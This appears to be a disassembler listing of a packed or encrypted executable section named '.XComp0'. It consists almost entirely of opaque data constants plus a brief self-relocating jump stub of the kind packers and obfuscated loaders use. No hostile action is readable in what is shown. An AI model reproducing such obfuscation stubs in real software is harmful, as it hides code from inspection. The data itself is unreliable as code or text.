0A4518308h dd 0FCC29CDh, 26D09542h, 0C2FDD6D7h, 3F088758h, 0C27E5E08h dd 9B3D84F5h, 0E2159F5Ah, 0CFFAA7BBh, 132C25h, 18E71200h dd 0DF16BE03h, 16DF155Ch, 0DC1BBC01h, 15E8125Fh, 3DCE8902h dd 90DD5A9Bh, 3B829564h, 93DA5D94h, 984975Eh, 55B04CA5h dd 7B2C9F20h, 6F12681h, 5E993E83h, 61FB54FCh, 0DD9ADF02h dd 68E8D126h, 668B4E09h, 0C9128C8Fh, 5A8874E2h, 15h, 1941124Eh dd 18C19ADFh, 9ADF088Ch, 4A863938h, 0FFFFFBE0h, 126B1368h dd 9ADF0276h, 53E833EEh, 0FA63BBDEh, 9CA02DE9h, 0CC319C57h dd 9F261533h, 23199E2Dh, 827BC7DAh, 29C6Bh, 0F3FA0B00h dd 67850D97h, 0CD0C537Dh, 408300F4h, 1A12197Bh, 8F9ADF02h dd 28CF0463h, 0B13628DBh, 1EF5F805h, 0E3285AD9h, 2AF7C431h dd 4BAC4C8Dh, 0EFEA76DFh, 9F529ADFh, 0F8F75846h, 52AB532Bh dd 9ADF99B6h, 0C332E12Eh, 0F140BB00h, 0C44931C4h, 0A316E110h dd 0E80FC64Bh, 990A3A13h, 0E30F9ADFh, 882E9316h, 0ED9C7C6Dh dd 8FEF396Ah, 99F28EE7h, 0B76A9ADFh, 764C0F64h, 8B6A89DEh dd 0DF9916B2h, 8D3CE9Ah, 1599C39h, 6AAD446Ch, 0C6DF5AEDh dd 6A136BC3h, 9ADF99DEh, 1508B86h, 0C71621D4h, 5BE2CB2Ah dd 9ADF996Dh, 0A3991EADh, 8874435Ah, 1E8EBh, 0CF068B00h dd 29EEA528h, 6F126C7h, 0F1FD4314h, 7F52905h, 5B78C9B4h dd 92C25EF7h, 0F57A9ADFh, 38EB38BDh, 80999823h, 0B8AB499Eh dd 0A627DC1Bh, 0A7502AEDh, 9CA0A3D6h, 0A05D790Eh, 47A1762Dh dd 88DD614Ch, 461D906Fh, 0A3309871h, 0A9499F26h, 0C7F0614Ch dd 0D629B538h, 0D968D001h, 0CB03885Eh, 4F946394h, 0B832855Eh dd 827B3D7Fh, 4410h, 7E13A400h, 0E22F9A5Dh, 0BCFFC433h dd 87F7122Fh, 0A010A5EEh, 25A85B9Ch, 261000C8h, 16A1209Fh dd 0A53F9840h, 219F2610h, 5C959562h, 0ED827BD0h, 11Fh dd 0BC676C8Dh, 8C2F9299h, 26460A39h, 0DA1D0301h, 6F126F6h dd 8913BC14h, 0CA9ADF02h, 36EDCF2Eh, 211AB44h, 0D6CD9ADFh dd 8F299801h, 29430C9h, 51509ADFh, 0E41FD6FCh, 0A37485E9h dd 0FD1902h, 71FDCFA5h, 0BB3AD7A6h, 0FE527FD2h, 0DF94CB55h dd 0C05CF59Ah, 7C9ADF94h, 0A3601385h, 0BCFA3598h, 92EA9ADFh dd 0DF8C5FE9h, 0CF0C079Ah, 68FD5582h, 6241AC4Bh, 0DF8C6DF7h dd 0B0476E9Ah, 8D8A554Ch, 382243FAh, 8CAD37A0h, 5A199ADFh dd 0BB14BD9Dh, 6B9CA3FDh, 9F567E13h, 7804752Eh, 0E49F247Ch dd 810EEA2Dh, 0C628A154h, 247C932Dh, 8B584B9Fh, 77A1E658h dd 70A5BEF4h, 95853A85h, 8651A050h, 0C99A3C81h, 2E1CC29h dd 878EFCBDh, 6667A7BFh, 1070BEh, 54A35600h, 9B5A7AC7h dd 52A351A0h, 0A05F78C5h, 51A4569Bh, 0F98A45C6h, 0D4191EDFh dd 0F746D120h, 0CF1E19D8h, 0C548D322h, 5B741069h, 37F09F20h dd 1F426BDh, 0EB0AA7F6h, 19DCFE93h, 6C0159DEh, 0EB589045h dd 0F0C150CAh, 26FCE833h, 19B6E8F1h, 91E79D7Ch, 7B97EC4Eh dd 83580B7Eh, 0EB0AA71Ah, 0F692EB93h, 6E9ADF4Dh, 41E368B3h dd 602h, 7C85A0B3h, 0ED2AC7E7h, 8630E35Ah, 29D2AC77h, 9CDFDA43h dd 2F12065h, 71C8AE87h, 2BD1F33Ah, 0CAC923F8h, 0E0F31B70h dd 0EFF25420h, 37843F97h, 4471F658h, 0B906F31Fh, 3154E9FEh dd 5D3C3849h, 0BF1AA64Fh, 0CFC29F20h, 9DDBA1F6h, 1358005Ah dd 0FAB16DBh, 0E10E0363h, 4592EB30h, 3B995FBFh, 49C9C72Ah dd 974C77F2h, 1AA64FA7h, 0C29AD911h, 1137D12Ah, 0F4AF9AD9h dd 7C01EC2Fh, 9AD911DCh, 0B435C0F5h, 5B4EA74Dh dd 0A0D166C5h, 6C3344B8h, 8BFB94B7h, 209B7843h, 6DF4F12Ah dd 5118288h, 0DF000000h, 850BE1F7h, 24D69B88h, 0C0FBD8D1h dd 597E13D4h, 5800599Eh, 5E9ADF02h, 2C35DF6h, 8C849ADFh dd 59259623h, 7D4CF29h, 0DFFB9726h, 84A59C9Ah, 579E559Ah dd 0BC51AA84h, 0A49CA0E3h, 4346B35Fh, 0D714B90h, 26F3D864h dd 0AD8D849Fh, 26F3B844h, 0B26D249Fh, 0C1157967h, 0D19356A7h dd 0EFDh, 36C130E3h, 2D2AC7E7h, 38C332E0h, 2A2DD0E9h, 37C431E3h dd 4E68FBB8h, 0B165ACAFh, 4B6AB744h, 0B562AFACh, 0DA34B542h dd 2059E781h, 2AAA5F9Fh, 3C93F213h, 376E097Dh, 7D789DE4h dd 0A7C27F0Ch, 718432B7h, 354A9B78h, 3FBCEB55h, 8DE54592h dd 91599F6Ch, 11E61558h, 0DF618D38h, 0FB00F39Ch, 0F526D170h dd 0F55DBD02h, 63B84770h, 20295B0Ah, 0F04A4999h, 0B855EF88h dd 12119ADFh, 0F42065C5h, 6BB83D73h, 8DE68EF0h, 9ADFB8F3h dd 0A63B86Bh, 9ADFB91Ah, 8532E559h, 25CDAD72h, 0DFB930CCh dd 22F5AC9Ah, 0BD3CD825h, 0DEC085Dh, 4572DFCAh, 0AD8437B2h dd 900316E7h, 1D20032Dh, 0DF84A03Ch, 7C651C9Ah, 0D3A4FB8Eh dd 0D6487BFEh, 13966791h, 3BA37B40h, 2A08642Ah, 5398698Ch dd 2D10CB32h, 9CA0ED2Ch, 49D37CD4h, 0F59F26EDh, 3EAF466Ch dd 1FD39A65h, 0F0A305D2h, 0C116C92Dh, 753FAAA7h, 0DF9h dd 32C534DFh, 292EC3EBh, 34C72EE4h, 2E29CCEDh, 33C835DFh dd 4A6CFFBCh, 0B561B0ABh, 476EB348h, 0B166ABB0h, 0D638B146h dd 205EE37Dh, 2EAE5B9Fh, 76126B13h, 0EE9ADF02h, 0DE53E833h dd 0B3708D29h, 38DE33CBh, 0A01FFABDh, 609CDFDBh, 0E2FA4E7Fh dd 0C9A88378h, 7DCCD30h, 4119D8B4h, 53A25499h, 0E01DB988h dd 2CC9E97Eh, 0F1256CEFh, 0BD491A04h, 9DC3759Fh, 0FEF58FE8h dd 0B2719F20h, 2F1206Dh, 9E0FCC87h, 453550EDh, 0EAE312C0h dd 0E38CEE29h, 99202778h, 0B93CD926h, 0DDD013D0h, 84F60F2Eh dd 0D724D1FFh, 9ABDDE77h, 8DE59CA0h, 26A258E4h, 0CA0D049Fh dd 8372A1EEh, 32ED08AEh, 0C16605E7h, 35FFEAA7h, 0D31h dd 0FAFDFC17h, 61F6FBB3h, 0FCFFF61Ch, 66F104B5h, 0FB00FD17h dd 8234C784h, 7D99E873h, 7F367B80h, 799EE378h, 9E00797Eh dd 205FAB35h, 7666139Fh, 4374F126h, 0A55A39B4h, 6921A4B5h dd 7D07B3EFh, 0D5024F3Ah, 0FEB33822h, 698BF6F7h, 926E578Ch dd 0DBCC80DCh, 0CB36A774h, 72DFCA27h, 5434B548h, 6BF122B5h dd 64754B10h, 0E65110CFh, 9EE3384Bh, 479C7E79h, 8F8C4FAEh dd 73ECC60Fh, 2615788h, 134D0000h, 276126Bh, 4C839ADFh dd 7B4033A5h, 6B13D170h, 0DF027612h, 4A33EE9Ah, 9ADF02BEh dd 0C6B86B26h, 932DC62Eh, 549ADF02h, 0E426BBFCh, 0B1704C4Fh dd 8D9E0366h, 0FB849CA0h, 0F1B21BDAh, 17B74C2Eh, 1D8D07DAh dd 0C1707F95h, 0E62B83F6h, 10C3C631h, 0C9EA72CBh, 7B069F26h dd 1391CAC0h, 1C71827Bh, 0D68D00F7h, 1F5DA01h, 87580000h dd 0BF816081h, 9923CCF4h, 459F264Dh, 5A46914Eh, 8306F126h dd 28CC993Eh, 0A6599837h, 590159h, 9ADF0264h, 51D621E0h dd 0EC4E67C6h, 3C7F7E97h, 0C3F57AE2h, 1FDCB732h, 0A033693Eh dd 421CD79Ch, 0E90CADh, 88E5D823h, 9F2633C0h, 0B019DCF9h dd 4E56E2D5h, 0E6AB6493h, 0C8C134h, 8F85B681h, 0B0D1A734h dd 2179ED87h, 62DC1F00h, 827B7819h, 0B83F74F9h, 72995E35h dd 5Fh, 81567B10h, 43B0F560h, 3D80B0Dh, 4861E0A1h, 5D7ED6h dd 79789CE7h, 8C77B428h, 0C3A5EE4Fh, 165B9CA0h, 0B99A13E2h dd 0A22A8306h, 0D79F26C3h, 6C892D3Eh, 6C5DA281h, 8607EE25h dd 0E112A518h, 6D431873h, 8CFDFC18h, 9B688D45h, 2195DE60h dd 0F075827Bh, 0DCB732C1h, 0FAF01Fh, 13040000h, 2DA0577Eh dd 37DCA176h, 0B370872Eh, 688F46CBh, 3DD72A93h, 7F6A8D2Eh dd 0CC17E612h, 0D3189617h, 0F68D21Fh, 9ADF0275h, 98E532F1h dd 0C0117C7Bh, 0DFA9C613h, 0D2646C67h, 6CAF0A0Dh, 149ADFE1h dd 6D120CFh, 0E05B9A37h, 0E37DD67Eh, 5B9ADFD9h, 69C853A8h dd 0EBDE19BEh, 0EB93EB38h, 4983E71Ah, 449763B9h, 0A3B86CE9h dd 0FF5F129Ch, 0E2AF4E6Ah, 1AF4C736h, 68D223D5h, 0ADAFCC97h dd 240CB844h, 946D249Fh, 0D00BC743h, 789EF34Bh, 0C1F33A7Dh dd 0DA19E934h, 0F7F2A7BFh, 0AC82Dh, 0EC0BAE00h, 3F2226Fh dd 0EA0BA9F8h, 8F7206Dh, 0E90CAEF3h, 0A132ED6Eh, 2C718677h dd 9FEE6988h, 27768170h, 6DF06B8Ah, 5DDC6811h, 8F889F20h dd 126B1325h, 9ADF0276h, 2AA35283h, 0D5028F69h, 531ADD22h dd 7AC754A1h, 46E77C5Dh, 52BEDC39h, 0B7CCAD8Dh, 6B3C6966h dd 5E42C512h, 8306F126h, 25CC993Eh, 0A40611CEh, 60692CD3h dd 8F4445B4h, 0F2502E36h, 50FB25h, 13F90000h, 0F0B042F2h dd 894E7902h, 83BA743Eh, 0E65FF862h, 9C9CDF3Bh, 0F54F6E5h dd 0A55881E2h, 39B46F24h, 514A9D5Ah, 0B5A5C07Dh, 0D3B83C1Dh dd 3998E54Ah, 21239B7Eh, 8CE19920h, 6C508B6Ah, 4CA446B5h dd 0DFB019A3h, 9CEC59Ah, 56E7h, 61E0CD00h, 0E97ED648h dd 0E6BD30CDh, 2ABB3811h, 0DAAB9CA0h, 56723A90h, 0BB1DDA9Eh dd 0E168C5C8h, 119F2685h, 1CA851A9h, 0C860D91Ah, 0A75C9937h dd 333CFF54h, 0DB83DBFEh, 1A4EDA83h, 0FBF660D9h, 0D91A8622h dd 78433E60h, 32B43D96h, 772A66A6h, 11640E4h, 13B20000h dd 2E9F567Eh, 9895A275h, 75349D7Dh, 0EB9CDFDAh, 9CBD4138h dd 0BD8D2773h, 73489313h, 0BEA0E06h, 78852FA2h, 0EF6C0775h dd 9A1D08BEh, 752A6BA4h, 0B4FC82h, 0E0F00000h, 91D64861h dd 3C179263h, 0B336BFF5h, 9A431BE0h, 9CDFDAD2h, 96638FD4h dd 25654013h, 334DED3Fh, 2BB418E3h, 0C3B26D84h, 2E742243h dd 4C5AD4BEh, 6E3F3C8Fh, 996A40FBh, 37296D09h, 5CDE1933h dd 82755413h, 7F769EF3h, 5982550Eh, 62h, 266B134Fh, 0CD8607EEh dd 0DF02D06Ch, 42958C9Ah, 0FD5D78B5h, 260FC55h, 44719ADFh dd 815B38B1h, 0EF06AB82h, 52AA522Ch, 0DF021FA9h, 14B0499Ah dd 0D09ADF02h, 0EF2CE7D1h, 0DFDBD18Eh, 51A9519Ch, 204A1CA8h dd 70C9C89Fh, 9F204AD4h, 62469190h, 0D8C1CAAFh, 0EFE572D5h dd 827596A6h, 2B37h, 0A112AD00h, 469ADF29h, 93628FD4h dd 0FEB09C48h, 38A0FFFFh, 0DF19059Fh, 0E883CA9Ah, 2695F87Dh dd 0F65FBFB2h, 9ADF326Ah, 0F8DC1FD2h, 76126B13h, 0EE9ADF02h dd 0DE53E833h, 9FFA63BBh, 79CDFDAh, 24A55882h, 0DA660F6Fh dd 829F204Ah, 1F704C8Fh, 0CE23E9F6h, 6964B7DFh, 0FE8069B6h dd 0CA63FD56h, 0F45D9F20h, 9F20CA68h, 0C8BB1DD4h, 8B49E8F3h dd 20CA56F2h, 0D0130E9Fh, 5881066Eh, 0CB2AC8A5h, 53B601E2h dd 992013EBh, 8DF1DC97h, 82F08CE5h, 0B56C9ADFh, 9858D562h dd 0DF82A53Fh, 9944219Ah, 41666768h, 56C8FBC8h, 9712E311h dd 7752E9BCh, 1DC2DCEh, 94FB54B6h, 0C9CDFEDh, 0EB095A77h dd 0FFC49F0Ah, 3921E0BCh, 85F5FCB4h, 7DF884EDh, 0AD649F20h dd 0E35AED6Ah, 0DD1358C2h, 126BC318h, 9920A453h, 0A3E85251h dd 4A098471h, 0C045AD8Dh, 569F5516h, 4A438053h, 0D0FF4E89h dd 1598658Fh, 44B8EE20h, 79467FDAh, 0B703D446h, 6CA97BF7h dd 77D754A7h, 0E734C3F2h, 0F6B58D86h, 8CE4F502h, 0B08B96DBh dd 0DCF94893h, 22CF1E19h, 0F54DAD3h, 37C417E6h, 0E7A0C1FAh dd 0E5DE5970h, 0C798401Ah, 0B7B4366Ch, 0C9A47796h dd 48733C0h, 25BF18C0h, 0A10700CBh, 0C4133EC4h, 0C7FC3E54h dd 94BB98F4h, 9EAF6C10h, 0F330C5EDh, 9D54BD30h, 0C6EE5356h dd 0CD30BE2Fh, 0F48FD90Ah, 6A6FA467h, 0CAED0E0h, 0C22300E9h dd 0A45FE7EFh, 4CAB4A97h, 31C0F061h, 0C42CD0B8h, 0F667963Fh dd 7004E6Ah, 8A6B8DD2h, 0F08CE555h, 6C07004Eh, 4A0D62B5h dd 0B1896887h, 0D1D2AAD0h, 6D9C28h, 78494807h, 0FEB96C75h dd 0F6FDB4F9h, 0C46A7BF3h, 3C313E8Eh, 960DDA1Dh, 83273846h dd 8BAA7FBDh, 6FEC4794h, 0BFA05499h, 30E3E613h, 0DE19FAF3h dd 8691608Fh, 5EEB5324h, 67E7E917h, 7E133094h, 0CD5A9D58h dd 0A5EA546Dh, 4D06876Eh, 5B21F8Ah, 0CC0388F2h, 16975E93h dd 4C07823Dh, 0FF6A1E8Fh, 0F821663Ch, 0CCF8405h, 15223FFFh dd 0CE272BC8h, 9ADF0232h, 522CF7AAh, 87DA0731h, 481B8E6Bh dd 0B3567D5Dh, 5C7D0168h, 0B6E9D8h, 7670CF5h, 299764B7h dd 6124B792h, 149223B4h, 703C4E9Eh, 0B26DB241h, 678E43C8h dd 6AE3B94h, 0CB6E8FEFh, 66D459Bh, 995C7ED3h, 76126B5Eh dd 7E9ADFA4h, 3D753803h, 0C64BA3B8h, 4918E312h, 0C01FB9AAh dd 18D3533Dh, 26D926E7h, 0F603AF34h, 8F668EF3h, 0C3027154h dd 0FE09322Eh, 66ED0B9h, 0DF63D36Dh, 43988B9Ah, 0DF635DEAh dd 7F7E989Ah, 0E50CC30Eh, 5ED998E4h, 0A01BE82Dh, 72A136DDh dd 6004BED6h, 3F97873Ch, 0DFC30A96h, 0FCBFB29Ah, 9E379FFFh dd 9ADFC302h, 19F4C7BAh, 9ADFE3C4h, 9712DF0Fh, 0BFF707BCh dd 4E8873FDh, 0FFFFFF02h, 0DA440BECh, 24892CBCh, 6B13EDD7h dd 0DF027612h, 0A352839Ah, 0B07D3A39h, 1A67F403h, 0BE1BFAFDh dd 4A03919h, 0C09ADF02h, 640059C1h, 0E09ADF02h, 9A77DE21h dd 769B5ED9h, 0AD4A9F7Fh, 0AC2E8D4Ah, 8874E263h, 570CAE43h dd 935039B8h, 6F648B50h, 0E2000000h, 38BDF57Ah, 0DF0EBB45h dd 0DA19B89Ah, 0CCB803FEh, 0D64861E0h, 0C3C23F05h, 3C7FA4D1h dd 0DACD79E2h, 2CB59CDFh, 0A2816C8Bh, 0A513F85Dh, 3CAD486Dh dd 0D4D520D5h, 91C295F4h, 0F3FCBF3Ch, 9A431B3Eh, 9920922Ch dd 0F06891D6h, 0DF03FD87h, 75AA699Ah, 0F34B46A2h, 356F28Bh dd 130E9ADFh, 9C5F963Eh, 9E5943h, 0A0E50000h, 4C078271h dd 6B13258Fh, 0DF027612h, 3915EE9Ah, 350D90Ch, 973C11CEh dd 0B1909B60h, 0B94EA698h, 38EBDE1Fh, 4D40BD59h, 7EE84196h dd 229CDF45h, 0D49731CAh, 544F9F20h, 0D4F791EAh, 0B46F9F20h dd 5A7A0F6Fh, 0D322D69Bh, 57BEF9DAh, 5AE68FE7h, 29F20D4h dd 28FFCC0Fh, 9167F44Fh, 0A60018E9h, 0F6CC4A22h, 2068F983h dd 0DFAE659Fh, 0DC6C736h, 53003DCAh, 0AD8D529Fh, 0E211C045h dd 52EE87E7h, 0A9F2068h, 2E0FCC17h, 9920B1B0h, 0C44931F0h dd 99E8E110h, 540F7A7Bh, 89734C8Fh, 0A0577E13h, 16E1165Bh dd 0C22FDF24h, 0DECF0CC7h, 0C7B73E73h, 67629542h, 5FEC6FACh dd 2FB922E2h, 979ADF02h, 263727DCh, 0F68DBC83h, 9B734849h dd 0A0956D42h, 3E20D39Ch, 2AED10A9h, 0DAA3FBFh, 8C4C2DEAh dd 0AC9F2695h, 0B3C49A1Dh, 4D09C119h, 1618E338h, 827B02DDh dd 706Eh, 7E138200h, 0CB609B5Ah, 92EB5376h, 9CA01001h dd 2BCAEC81h, 0E079E1C2h, 9F261044h, 0D2B60100h, 11AA3F1Fh dd 3DC029EEh, 9F26109Fh, 0F9F403B4h, 8FE86C88h, 9F2610F5h dd 7C6DB271h, 0A12E315h, 1DFB2CAFh, 2A0D8A9h, 0FC285482h dd 1D764BFh, 6EA9486Ch, 7B1DA3ECh, 1843482h, 0AA520000h dd 0D31FA952h, 0CCC79F26h, 26D3D771h, 47948F9Fh, 6F1265Dh dd 0D623CF14h, 0D2BB00D3h, 2B578B6Ch, 6F0ED1CBh, 0C233E5ACh dd 85D7AC7h, 0C59E0FEEh, 95428FFAh, 0B18814BDh, 993D9ADFh dd 46DD69BEh, 378A8973h, 7AE61C4Ah, 0E09D6AFh, 0DF0BD8ABh dd 4C83089Ah, 0E60B52A5h, 10C50C0Fh, 0CE6475E5h, 789E5402h dd 1CC854FDh, 7D749ADFh, 0AA047542h, 44B5ECD9h, 0BEF93955h dd 0B15F1429h, 379F7F44h, 4E9CC426h, 2712263Eh, 9ADF849Dh dd 0AD8D4A49h, 0A0A96744h, 6094DD9Ch, 883B1891h, 36A4C596h dd 0BA03666Ch, 0D06DFAFDh, 0D9B4C5B5h, 85124756h, 0E78FEF2Ch dd 38679A2h, 11A47550h, 7DAAA18Ch, 0B6CDF3Ah, 0C394995Ah dd 9DB6D56Ah, 3240A16Fh, 262F0070h, 100DC1Fh, 0D322D419h dd 0DE6A136Bh, 1B9ADDC9h, 0D48FFAF7h, 69EE29E8h, 74106911h dd 0F09ADDC9h, 3E81709Fh, 0F302B479h, 0B83ADE2Ah, 6212BBADh dd 2B1h, 7A7D7C97h, 0E1767B33h, 7C7F769Ch, 0E6718435h dd 7B807D97h, 2B44704h, 0FD1968F3h, 0FFB6FB00h, 0F91E63F8h dd 1E80F9FEh, 20652BB5h, 0F6E6939Fh, 76126B13h, 0EE9ADF02h dd 40B75E33h, 4C04B67Bh, 0DF0219A3h, 973CC59Ah, 0FE60A360h dd 263FD56h, 0AEE49ADFh, 8E2A7401h, 2F0F02F6h, 0DFE53AC6h dd 2CEFA29Ah, 0C235E22Fh, 0F5F28758h, 55A3C92Eh, 57ECD96Ch dd 9863A2DDh, 7E13B193h, 592C9D58h, 13997B79h, 5D20D45h dd 401A3BF2h, 2CEF06ABh, 0B465AA52h, 9FA9339Ch, 5E159ADFh dd 9EF356A1h, 849CA08Dh, 3BA11C8Dh, 509F268Dh, 0EC5558A7h dd 22BE2FC6h, 55C3F4C7h, 68B61F6h, 0EBA821D4h, 53E52E30h dd 1176827Bh, 0F4000001h, 0BAF1E2E3h, 33F0D91Ch, 0AC63A4D2h dd 6B13856Fh, 0DF027612h, 5E33EE9Ah, 964D40B7h, 8ED7FC41h dd 0A31B8E69h, 0DF02AE3Ah, 0A85B169Ah, 0F51F725Bh, 0AA451608h dd 0DF8766Ch, 73FAE338h, 9ADFAC20h, 29D27E33h, 9ADFB49Fh dd 84974C47h, 2ACB983Dh, 0BE01E2CBh, 89273CBh, 0A74E8630h dd 44840C3Eh, 1ACD6477h, 0D88BFE01h, 36DE330Bh, 0C215CEBFh dd 97681068h, 0EC181CF8h, 6FF9648Ah, 0D79ADF26h, 3D7EDF1Ch dd 0A39CA00Bh, 8DE68EF0h, 9F2633F3h, 0E863B86Bh, 8A29DE53h dd 2EC6B86Bh, 26333BC5h, 2BF0A39Fh, 4396AA53h, 534E995Ah dd 0DDFE93EBh, 27F4AF1Ah, 0BA3DC05Ah, 10E50B60h, 0FC5486CBh dd 0DDC3C953h, 417E759Ah, 0B8453678h, 0ED617ADh, 111h dd 1A1DDCF7h, 41D61BD3h, 1C1FD6FCh, 46D124D5h, 1B20DDF7h dd 0A254E7A4h, 5D79C853h, 9F569BA0h, 597EC358h, 0BE20999Eh dd 206B8B15h, 5646339Fh, 416FF426h, 0A5EC6FB4h, 8E728570h dd 79C0F213h, 1CD6F672h, 0E35B2FC5h, 55A25D6Ch, 0A10CEB08h dd 0A748330h, 52A55085h, 8C6B88D5h, 0BD95428Fh, 0DF0B8814h dd 0D02DC99Ah, 0DF9206DDh, 0C045A924h, 3617E413h, 293FC460h dd 33B63F75h, 0DDD027CEh, 0AD0973E8h, 0F6785FA6h, 6187B883h dd 0A5F3502h, 0A79E0FEEh, 0FB41F2C1h, 1DDA25A2h, 2136A350h dd 7A1FF76h, 0E320D5FDh, 2EC31B20h, 0F2236A8Dh, 4C69B803h dd 28D140A9h, 569465D5h, 0BCFBC57h, 3EDF1061h, 894DA763h dd 8DF15B4Eh, 0F6F08CE5h, 85EEEB80h, 0EB80F6FBh, 554CB063h dd 542AAD82h, 972E60Fh, 0EB80F67Fh, 24F72CE7h, 4098B85Dh dd 80F60D97h, 5FBAB9EBh, 0EB80F6C5h, 0BA3D8281h, 36B73E73h dd 86Eh, 5F790E00h, 0D877599Eh, 4F3261Ch, 5C9B3889h, 2F12071h dd 5F9E3A87h, 4F1236Eh, 5F9E3889h, 3F2236Eh, 5C99378Ah dd 1F02071h, 5A68F688h, 8900003Dh, 7C682434h, 8900005Ah dd 89512414h, 4C181E1h, 81000000h, 4E9h, 240C8700h, 243C895Ch dd 4AC6BE56h, 0F28905FFh, 8324348Bh, 8B5404C4h, 0C481243Ch dd 4, 8B850h, 0F8010000h, 89D38953h, 0FF585B18h, 815F2434h dd 4C4h, 24148B00h, 5E08950h, 4 dd 405h, 24048700h, 1957E95Ch, 0DDF6FFFBh, 246D881Dh db 0A7h, 56h, 36h ; --------------------------------------------------------------------------- loc_5D20CB: ; CODE XREF: .XComp0:005D0018j mov eax, 5FF6A65h add eax, ebp jmp eax ; --------------------------------------------------------------------------- dd 2BF3FF6Ah, 4D2A4275h, 531589F1h, 12C1F69Ah, 2F4179BEh dd 205E289Bh, 77AB1E34h, 7A98B6E3h, 75A1416h, 68F8A813h dd 2D10F96Bh, 2D513EA4h, 5E5961C4h, 24EBh, 8 dup(0) dd 0BDE90000h, 89000000h, 0FF6B1DB5h, 85858B05h, 8B05F917h dd 0F9340D85h, 67B58D05h, 8D05FF6Bh, 0FC893885h, 0C3D0FF05h dd 0E855h, 815D0000h, 0FF6B6DEDh, 85BD8305h, 105F917h dd 2C850Fh, 0B5FF0000h, 5FF6B1Dh, 340D858Bh, 363505F9h dd 0FF348127h, 0F013CD0h, 0A85h, 1B800h, 47E90000h, 33000000h dd 40E9C0h, 1C6A0000h, 6B21B58Dh, 0FF5605FFh, 0FF6B1DB5h dd 0D858B05h, 3505F934h, 34812736h, 0C483D0FFh, 21B58D0Ch dd 8B05FF6Bh, 0E0831446h, 4F88304h, 7840Fh, 0C0330000h dd 5E9h, 1B800h, 0BD830000h, 5F91785h, 7850F01h, 5D000000h dd 2E9C3h, 0CF5D0000h, 6B46858Dh, 858905FFh, 5F92465h dd 0AAE9h, 0A0DC0C00h, 9428h, 500h, 100h, 0A2800h, 200h dd 72655300h, 65636976h, 63615020h, 32206Bh, 20h dup(0) dd 0E9000000h, 1093h, 0FF6F1B68h, 1240E905h, 8E68FFFAh dd 0E905FF70h, 0FFFA1236h, 0FF71EE68h, 122CE905h, 9068FFFAh dd 0E905FF72h, 0FFFA1222h, 0FF74B568h, 1218E905h, 2B68FFFAh dd 0E905FF75h, 0FFFA120Eh, 0FF79F568h, 1204E905h, 6A68FFFAh dd 0E905FF7Bh, 0FFFA11FAh, 89BB5679h, 578D825Eh, 83B94A70h dd 568E7764h, 88BC4B6Fh, 0A44877AAh, 0B816C163h, 0A746B153h dd 0B21BBA62h, 7E3BA95Bh, 97189CDDh, 14B41923h, 5378638Ch dd 0A36E3BB2h, 0B15C817Eh, 788F3B3Ch, 0C96DA475h, 7D5E5920h dd 0A07A976Bh, 62A74E3Fh, 9EB05375h, 63826E4Fh, 61AE8214h dd 0B6EAD54h, 88299642h, 0BAAE569Bh, 0EF18C42Ch, 65F62BFEh dd 29964114h, 0A45D9491h, 0B31BA45Dh, 40BEBF5Ch, 1C3B2996h dd 845558B1h, 98A6A94Dh, 8B2F8F72h, 0D6C179Eh, 8B239D0Fh dd 3E29AC63h, 14686DA2h, 2E0CF5E1h, 87A1BBF1h, 0D33AC60Bh dd 0B72DBF87h, 40F948D6h, 9C8F6A13h, 143AE723h, 6708h dd 2ECD300h, 0A213F2D7h, 0DE8B02C7h, 69FF0238h, 9040831h dd 0F118C35Dh, 0F5A3FF1Bh, 0E747D461h, 3D2F8EA6h, 81265704h dd 0E6A3239Ch, 0FAFBA850h, 0DA54DD2Fh, 9EB586FFh, 0BC52BD21h dd 9C75EC89h, 97846A23h, 9C76017Ch, 48817E23h, 907D6245h dd 0ABB7901Dh, 0B4A26DF3h, 0D54D1ED2h, 126D748h, 8D2A0000h dd 43ADC2Fh, 23AA638Ch, 0CA6F9844h, 0D97D902Dh, 47C62710h dd 0CA31A346h, 24550618h, 0A1299609h, 0F7610E4h, 4E6F7E90h dd 3D9D1ABFh, 470A24CAh, 299623ADh, 8649577h, 0E7257D5Fh dd 0C647A847h, 0E2FEF91Eh, 5DF1A82Dh, 0B3BF318Eh, 0E726C7CCh dd 0EB081505h, 0D704FB26h, 0FC35CEFCh, 8F19915Ah, 0BAD3BB36h dd 0C6799A1Ch, 52EA3519h, 8BB67BB6h, 2CC24B74h, 54FF3AFFh dd 29960229h, 0D9CD3C9Fh, 1B470A2Ch, 92F8F2Bh, 1737CCEEh dd 3CCDF0DFh, 8B34CF5h, 0AD20EFCFh, 172135FCh, 913BB523h dd 0AF8AAF7Ah, 0D9B0C98Ah, 702D239Ch, 90A66587h, 98CD3CBDh dd 0E4DF429h, 1DA0E66Bh, 0E31B3BE8h, 0E90DEA09h, 1744F8FCh dd 1DA0D966h, 26EB26E3h, 2FD804FBh, 502EA0Dh, 0FD3801B6h dd 3F203BEh, 0D92h, 21C34E71h, 4FF51AB6h, 1BC142A8h, 4EF60FBCh dd 20C443A7h, 0ECD08F02h, 0E0FEE91Bh, 0EFCEF92Bh, 0DA03E21Ah dd 16E31133h, 97167405h, 0BC7CF123h, 75A7608Ch, 79A06D52h dd 2AAB607Eh, 0BB55DF6Fh, 131469FFh, 5DFDAE4Fh, 46D50CC5h dd 2F8F90E4h, 0BA1FBD3Ah, 0BA3BF613h, 0FAA74FDFh, 0F40B36F3h dd 9D4C41CAh, 9D6BFB7Eh, 784E8623h, 0C25D3A87h, 3C0F1FDCh dd 239D2D3Dh, 0F3FA11BBh, 5243CCF4h, 20FEECDBh, 37981F18h dd 95C140D6h, 8AF320D9h, 7239D2Dh, 5D0FF41Ah, 2948D605h dd 0D8DD328Eh, 423BD801h, 0BF239D21h, 19F02CC2h, 52000001h dd 0ED8746CEh, 3573EBD6h, 0A8817497h, 0C11ECD61h, 6154B11Ah dd 0AD4C4188h, 8B826B54h, 96240D70h, 213F9829h, 0EFB5437Ah dd 0EDFC120Fh, 0F8FF3ACDh, 0C72036D7h, 9669B83Ch, 6E9F4029h dd 5FAE0FB6h, 0A9D47FBAh, 26299660h, 6D0CD579h, 60F68794h dd 0B6732996h, 0D2649F49h, 1FDA0096h, 0DAFFDDDAh, 0D9DC15F2h dd 75BEE00h, 0BA2F8F89h, 373B3EDDh, 0CBB8239Dh, 0FC6ADE06h dd 0CE07BA6h, 0AB299928h, 0E9CA5AE1h, 0CC5106Bh, 0D302EAD5h dd 0DBB124EBh, 0C5319526h, 0FB36FBBAh, 1D60FB46h, 9A1DA16Bh dd 378B07EDh, 0E1697554h, 0FB46E34Dh, 0A1291D60h, 49ED9A1Dh dd 0F6C542AAh, 0BEFDC857h, 